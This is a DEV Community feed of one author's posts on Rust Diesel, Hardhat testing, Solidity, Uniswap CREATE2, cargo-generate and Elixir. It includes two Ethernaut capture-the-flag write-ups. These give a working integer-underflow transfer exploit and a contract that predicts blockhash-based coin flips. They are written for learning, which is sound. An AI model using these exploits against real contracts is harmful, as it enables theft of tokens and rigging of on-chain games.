DEV Community: Turbo Panumarch

Rust: Using DateTime in Diesel with MySQL

Turbo Panumarch — Sat, 03 Dec 2022 12:23:16 +0000

Problem:

When I tried to map the model with date and time field, I got this compiler error:

error[E0277]: the trait bound `(Integer, Datetime): 
load_dsl::private::CompatibleType<myapp::models::MyModel, _>` 
is not satisfied

From this set of model and schema:

// models.rs
pub struct MyModel {
    pub id: i32,
    pub created_at: NaiveDateTime,
}

// schema.rs
diesel::table! {
    my_table (id) {
        id -> Integer,
        created_at -> Datetime,
    }
}

Solution:

Fortunately, I found the document mentioned about the DateTime field.

So we just need to put the feature "chrono" to enable it.

# Cargo.toml
diesel = { version = "2.0.0", features = ["mysql", "chrono"] }

And it works! ✅ 🎉

Tips:

For JSON field, you will also need the serde_json feature in Cargo.toml.

diesel = { version = "2.0.0", features = ["mysql", "chrono", "serde_json"] }

Hardhat: How to Test ETH Balance Change.

Turbo Panumarch — Thu, 07 Apr 2022 10:18:10 +0000

UPDATED: May 23, 2022

We can use this quick way to do it. Read more here: https://ethereum-waffle.readthedocs.io/en/latest/matchers.html

expect(() => contract.connect(owner).withdrawAllETH())
  .to.changeEtherBalance(owner, parseEther(10));

Let's say you are implementing the NFT selling contract. And the owner can withdraw the ETH to herself.

Something like this.

// solidity
function withdrawAllETH() onlyOwner {
    uint256 balance = address(this).balance;
    Address.sendValue(payable(owner()), balance);
}

What do we want to test? 🧑‍🔧

One of them is to check if the owner receive the ETH correctly! 🤑

Let's do it together! 🔥

Note: I am using Hardhat here as a sample of testing.

// javascript
it('owner can withdraw all ETH', async () => {
  // let's say contract has 5 ETH, owner has 10 ETH

  // 1. let's do a withdrawal
  await contract.connect(owner).withdrawAllETH()

  // 2. Now owner should have 15 ETH, right?
  expect(await owner.getBalance()).to.eq(parseEther(15))
})

And when we run it.

❌ AssertionError: Expected "14999957824852287212" to be equal 15000000000000000000

What the bug!? 🐞🐞🐞

The test says the actual balance is 14.999.. ETH not 15 ETH. Well... I forgot to check about the gas spent. But how do we do it?

Thanks to our beloved StackOverflow thread (as always 😂), we got a solution.

Gas Spent = Gas Used x Effective Gas Price

And we can get the data from the transaction receipt!

Note: we can use cumulativeGasUsed instead of gasUsed if you want to get the gas spent from the whole block.

The Solution 🌟

Ok, now I know it, let's do this instead.

// 2nd attempt
it('owner can withdraw all ETH', async () => {
  // let's say contract has 5 ETH, owner has 10 ETH

  // 1. let's do a withdrawal
  const tx = await contract.connect(owner).withdrawAllETH()

  // 2. Let's calculate the gas spent
  const receipt = await tx.wait()
  const gasSpent = receipt.gasUsed.mul(receipt.effectiveGasPrice)

  // 3. Now we know, it is 15 ETH minus by gasSpent! 
  expect(await owner.getBalance()).to.eq(parseEther(15).sub(gasSpent))
})

And when we run it.

✔ owner can withdraw all ETH

Yey! And now it works! 🥳🥳🥳

Solidity: external vs. public & memory vs. calldata vs. storage

Turbo Panumarch — Fri, 01 Apr 2022 08:30:30 +0000

It is written in many places how these things are. But what not easy to decide when to use which of them, as it needs a deeper understanding to choose.

So I want to note the quick heuristic methods to choose these.

Public vs. External

TL;DR;

So if you know the function you create only allows for external calls, go for external. It provides performance benefits and you will save on gas.

Basically, public means it can be external or internal, the compiler need additional work for the public function. With the external only, it allows arguments to be read directly from calldata, saving the copying step.

Easy read here:

Memory vs. Calldata vs. Storage

TL;DR;

use calldata when you only need read-only data, avoiding the cost of allocating memory or storage.

use memory if you want your argument to be mutable.

use storage if your argument will already exist in storage, to prevent copying something into storage over into memory unnecessarily.

Ref:

Easy example on why storage over memory

To research more

I am still not sure why most of the OpenZeppelin libs choose to use memory over calldata, although they don't mutate them. For example: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/ERC721.sol#L179

Daily Ethernaut Challenge - #5 Token

Turbo Panumarch — Thu, 11 Nov 2021 10:44:23 +0000

This is the series on playing with Ethernaut, a level-based solidity challenge focusing on the hands-on solidity/web3 hacking. And I like this for adding fun to learning. Thanks to Openzeppelin team.

Let's talk about the challenge

This challenge has a difficulty of 3/10. We start with 20 tokens and have to increase our balance from the initial value. Sound simple?

Here is the code

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

Link to play: https://ethernaut.openzeppelin.com/level/0x63bE8347A617476CA461649897238A31835a32CE

Challenge Analysis

To have our balance increased normally, we would need someone to send us a new token or to withdraw it from somewhere. But it does not seem to be possible with this token.

So our guess would be something about number overflow or underflow. The number overflow in Solidity can be really problematic.

Let's say we do this.

uint256 a = 10
uint256 b = 20
uint256 c = a - b // => 115792089237316195423570985008687907853269984665640564039457584007913129639926

What happened here? Why it is not -10 😱😱😱 ?

Prior to the Solidity version 0.8.x, when a number in solidity goes above "max", it will roll back to "min" (overflow). And in the same manner, when a number goes below "min", it will roll to "max" (underflow).

In the above case, uint256 consists of non-negative numbers from $0$ (min) to $2^{256} - 1$ (max).

And when it goes down below 0, it becomes the max number. So we get the result of max - 10

For example,

max_uint256 = 2 ** 256 - 1

uint256(-1) == max_uint256 // => true
uint256(-2) == max_uint256 - 1 // => true
uint256(-3) == max_uint256 - 2 // => true

max_uint256 + 1 == 0 // => true
max_uint256 + 2 == 1 // => true
max_uint256 + 3 == 2 // => true

One simple way to protect overflow is using SafeMath. However, since the version 0.8.x, the overflow/underflow protection has already been built-in.

Read more about overflow and underflow: https://ethereum-blockchain-developer.com/010-solidity-basics/03-integer-overflow-underflow/

Solving the challenge

So we would take a look at the code to see if there is any unprotected underflow.

 function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

We can see the require line looks like something we can exploit. What if we make balances[msg.sender] - _value goes lower zero? This would roll the number back to max and pass the require condition.

Then on the next line balances[msg.sender] -= _value; our balance will go underflow and become max as well.

Solution

Same as before, it is recommended for you to try first before going forward.

The solution is pretty straightforward, if we want to have max balance possible, we need to make our balance become -1. And we start with 20, so we would want to transfer out 21.

// Put this in the browser console

// Any other address is ok
sendToAddress = contract.address

// In case we want any balance increased, any number more than 20 is good already.
sendAmount = 21

// call the transfer function with our evil params 😈
contract.transfer(sendToAddress, sendAmount)

And...... Bam, now we are really rich! 🤑🤑🤑

That's it! Feel free to share if you have any ideas or suggestions.

Photo by NIKHIL KESHARWANI on Unsplash

Daily Ethernaut Challenge - #3 CoinFlip

Turbo Panumarch — Wed, 03 Nov 2021 14:20:55 +0000

Why do I play this?

As I am looking for a way to learn Solidity faster and more fun, I happened to find Ethernaut made by @the_ethernaut and maintained by Openzeppelin team.

The concept is like the hacking game where we need to inspect and exploit the contract to achieve the given objective. So we would get to have hands-on learning experiences as well. ❤️

Let's talk about the challenge

Today's challenge is #3 CoinFlip (Difficulty: 3/10). It is the contract that lets us guess the coin flip result. We have to magically guess it right 10 times consecutively.

Ok... it is SO EASY, the chance is as much as 0.1% for success. 😂

Link to play:
https://ethernaut.openzeppelin.com/level/0x4dF32584890A0026e56f7535d0f2C6486753624f

Challenge Analysis

This challenge demonstrates the simple security vulnerability of generating a random number. Generating random numbers is one of the most challenging problems to solve (alone).

The approach they took is to use the fixed seed factor to apply to the block hash, then get the side as below.

uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
uint256 blockValue = uint256(blockhash(block.number.sub(1)));

uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;

There is a flaw in generating a random number

The flaw is that this way of generating a random number is deterministic, anyone can reproduce the process and get the same number. As long as we can access the same block hash, it is guaranteed to reach the same result.

Solving the Challenge

To reach the solution, we need to answer some of these challenges.

1. How can we pre-generate the random result?

One way is to create a smart contract to retrieve the same block hash, then calculate and guess the result in one go.

2. How can we get to 10 consecutive wins?

The CoinFlip contract in the challenge prevents us from doing multiple flips in the same block, so doing 10 flips in one go is not possible.

A brilliant idea I came up with is to manually submit the guess 10 times with my hand (ouch 😂). Please let me know if there is an easier way.

3. How can we call another contract from the solidity?

We can use the interface to call the target contract to execute the guessing instead.

Sample:

interface ICounter {
    function count() external view returns (uint);
}

contract Interaction {
    address counterAddr;

    function getCount() external view returns (uint) {
        return ICounter(counterAddr).count();
    }
}

ref: https://www.quicknode.com/guides/solidity/how-to-call-another-smart-contract-from-your-solidity-code

Solution

Maybe you want to try to solve it yourself. But if you want to see how I solve it, here you are.

// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.9.0;

import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol';

// Create an interface to call the target
interface ICoinFlip {
      function flip(bool _guess) external returns (bool);
}

contract HackCoinFlip {
    using SafeMath for uint256;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    function flip() public returns (bool) {
        // Just copy the code from the target contract to reproduce the random number generation :)
        uint256 blockValue = uint256(blockhash(block.number.sub(1)));
        uint256 coinFlip = blockValue.div(FACTOR);
        bool side = coinFlip == 1 ? true : false;

        // Change to your instance address
        ICoinFlip(COIN_FLIP_CONTRACT_ADDRESS).flip(side);

        return side;
    }
}

I deployed the contract in Remix, then did manual work to call the function 10 times. And... done! (Don't forget to change the environment to Injected Web3 to match the Rinkeby network).

Sometimes the contract would fail if I did too frequently because they went into the same block and were rejected.

And to debug the result, I went back to the Ethernaut console to check the result. It is reaching 10, yay!

And that's it. Thank you for reading and feel free to share how you solve it differently (or same) and discuss :)

Cover Photo by Andriyko Podilnyk on Unsplash

How Uniswap deployed contract to the same address?

Turbo Panumarch — Tue, 20 Jul 2021 17:20:26 +0000

The contract address is not random?

I thought all the Ethereum-based contract address was random, just like how we access the wallet from the randomized private key.

Until I found interesting notes from Uniswap v2 Docs.

The Uniswap V2 router address is 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D for all networks.
Moreover, Uniswap LP token address can be deterministicly computed offline.

Wow, These are such a nice dev experience ✨. So I want to explore how they do it.

1. Deploying same contract address to all networks

The address for an Ethereum contract is deterministically computed from the address of its creator (sender) and how many transactions the creator has sent (nonce)

So one simple way is to use the same wallet (address) to deploy all networks, and deploy with the first transaction of the wallet, so nonce will be the same. 🎉

But why?: I think this is quite convenient for the testnet development. The developers have no more need to google for the different testnet address, or make the config handle different addresses.

2. Deploying a pair of tokens LP to the same address.

A new opcode, CREATE2 was added in EIP-1014 that is another way that a contract can be created. For contract created by CREATE2 its address will be:
keccak256( 0xff ++ senderAddress ++ salt ++ keccak256(init_code))[12:]

Considering variable params needed...

init_code is a byte code from the deployed contract
salt is something which can be changed.

So Uniswap utilized salt to be a hash of token0 and token1 addresses. That's why it is always deterministic. 🎉

Which I think this is also helpful to Uniswap to avoid having a duplicate LP for the same pair of tokens.

But why?: This is quite useful to get the information of each LP without looking up LP address. We just need the addresses of 2 tokens, then compute the LP address to retrieve the information right away.

Thanks to a nice summary from: https://ethereum.stackexchange.com/a/761/76945

Issue installing cargo-generate

Turbo Panumarch — Thu, 13 May 2021 02:16:54 +0000

Problem 1: `libgit2` missing

I tried to install cargo-generate. My current machine is MacOS BigSur 11.3 Beta.

cargo install cargo-generate --features vendored-openssl

somehow I got an error related to libgit2 and it confused me.

fatal: not a git repository (or any of the parent directories): .git


  error occurred: Command "cc" "-O3" "-ffunction-sections" "-fdata-sections" "-fPIC" "-m64" "-arch" "x86_64" "-I" "/var/folders/70/91y0tylx71x1wjv_275y8x8c0000gn/T/cargo-install6KpOP3/release/build/libgit2-sys-1319684400f5f70f/out/include" "-I" "libgit2/src" "-I" "libgit2/deps/http-parser" "-I" "libgit2/deps/pcre" "-I" "/var/folders/70/91y0tylx71x1wjv_275y8x8c0000gn/T/cargo-install6KpOP3/release/build/libssh2-sys-4c230072710e2672/out/include" "-fvisibility=hidden" "-DGIT_REGEX_BUILTIN=1" "-DHAVE_STDINT_H=1" "-DHAVE_MEMMOVE=1" "-DNO_RECURSE=1" "-DNEWLINE=10" "-DPOSIX_MALLOC_THRESHOLD=10" "-DLINK_SIZE=2" "-DPARENS_NEST_LIMIT=250" "-DMATCH_LIMIT=10000000" "-DMATCH_LIMIT_RECURSION=MATCH_LIMIT" "-DMAX_NAME_SIZE=32" "-DMAX_NAME_COUNT=10000" "-DSHA1DC_NO_STANDARD_INCLUDES=1" "-DSHA1DC_CUSTOM_INCLUDE_SHA1_C=\"common.h\"" "-DSHA1DC_CUSTOM_INCLUDE_UBC_CHECK_C=\"common.h\"" "-o" "/var/folders/70/91y0tylx71x1wjv_275y8x8c0000gn/T/cargo-install6KpOP3/release/build/libgit2-sys-1319684400f5f70f/out/build/libgit2/src/streams/stransport.o" "-c" "libgit2/src/streams/stransport.c" with args "cc" did not execute successfully (status code exit code: 1).

Solution

The libgit2 was somehow missing from my machine. So we just need to install it.

For MacOS brew user,

brew install libgit2

Problem 2: `CoreFoundation` not found

After fixing the previous issue and installed again, I encountered the new issue.

cargo install cargo-generate --features vendored-openssl

ld: framework not found CoreFoundation
          clang: error: linker command failed with exit code 1 (use -v to see invocation)


error: aborting due to previous error

error: failed to compile `cargo-generate v0.6.1`

Solution

It is probably the issue on MacOS BigSur which removed some of the built-in libraries.

1. Reinstall xcode command line tools to make sure we have the latest version.

sudo rm -rf /Library/Developer/CommandLineTools
sudo xcode-select --install

2. Install gcc & llvm via Homebrew. If it mentions that you already installed, perform the next step.

# WARNING: This can take several hours
brew install gcc
brew install llvm

3. Reinstall (only for machine with gcc and llvm installed via home brew.)

brew cleanup
brew update
brew upgrade
brew reinstall gcc
brew reinstall llvm

4. Try installing cargo-generate again. 🎉

Special thanks to @iporsut for helping me solve the issue. 🙏

Simple Elixir State Machine for Validation

Turbo Panumarch — Sun, 13 Sep 2020 07:15:25 +0000

At some point, we will have an entity which the status can be transitioned to many possibilities and we want to have a rule to enforce an integrity of the data.

For example, this is a human emotion state change diagram.

And some transitions are okay, while some are not.

# 👌 OK
iex> update(%Human{emotion: :hungry}, %{emotion: :full})
{:ok, %Human{emotion: :full}}

# 🙅‍♂️ No, get something to eat first!
iex> update(%Human{emotion: :hungry}, %{emotion: :sleepy})
{:error, "invalid status change"}

🤖 Simple validation with pattern matching

For elixir developer, you can guess the pattern matching is pretty good for solving state change problem like this.

def update(%Human{} = human, attrs) do
  with :ok <- validate_status(human.emotion, attrs.emotion),
  ...
end

def validate_status(current_status, new_status) do
  case {current_status, new_status} do
    # Put all the transition paths as a whitelist
    {:hungry, :full} -> :ok
    {:hungry, :angry} -> :ok
    {:angry, :angry} -> :ok
    {:angry, :full} -> :ok
    {:full, :sleepy} -> :ok

    # return error for the rest
    _ -> {:error, "invalid status change"}
  end
end

⚡️ Can we embed this rules into Ecto changeset?

If we want the rule to be strictly applied to the ecto data schema, we can also build a custom changeset validation for status change as well.

def changeset(human, attrs \\ %{}) do
  human
  |> cast(...)
  |> validate_required(...)
  |> validate_status_change() # <- custom validation
end

def validate_status_change(changeset) do
  # Get current and new field data
  current_status = changeset.data.status
  new_status = get_field(changeset, :status)

  case {current_status, new_status} do
    # do nothing if ok
    {:hungry, :full} -> changeset
    {:hungry, :angry} -> changeset
    {:angry, :angry} -> changeset
    {:angry, :full} -> changeset
    {:full, :sleepy} -> changeset
    {nil, _} -> changeset # any new status is ok

    # add error to ecto changeset errors
    _ -> add_error(changeset, :status, "invalid status change")
  end
end

That's it! Hope this could give you some idea in your next task. Feel free to discuss if you have any comments! 😊

DEV Community: Turbo Panumarch

Rust: Using DateTime in Diesel with MySQL

Problem:

Solution:

Tips:

Hardhat: How to Test ETH Balance Change.

UPDATED: May 23, 2022

What do we want to test? 🧑‍🔧

What the bug!? 🐞🐞🐞

The Solution 🌟

Solidity: external vs. public & memory vs. calldata vs. storage

Public vs. External

Memory vs. Calldata vs. Storage

To research more

Daily Ethernaut Challenge - #5 Token

Let's talk about the challenge

Challenge Analysis

Solving the challenge

Solution

Daily Ethernaut Challenge - #3 CoinFlip

Why do I play this?

Let's talk about the challenge

Challenge Analysis

Solving the Challenge

Solution

How Uniswap deployed contract to the same address?

The contract address is not random?

1. Deploying same contract address to all networks

2. Deploying a pair of tokens LP to the same address.

Issue installing cargo-generate

Problem 1: libgit2 missing

Solution

Problem 2: CoreFoundation not found

Solution

Simple Elixir State Machine for Validation

🤖 Simple validation with pattern matching

⚡️ Can we embed this rules into Ecto changeset?

Problem 1: `libgit2` missing

Problem 2: `CoreFoundation` not found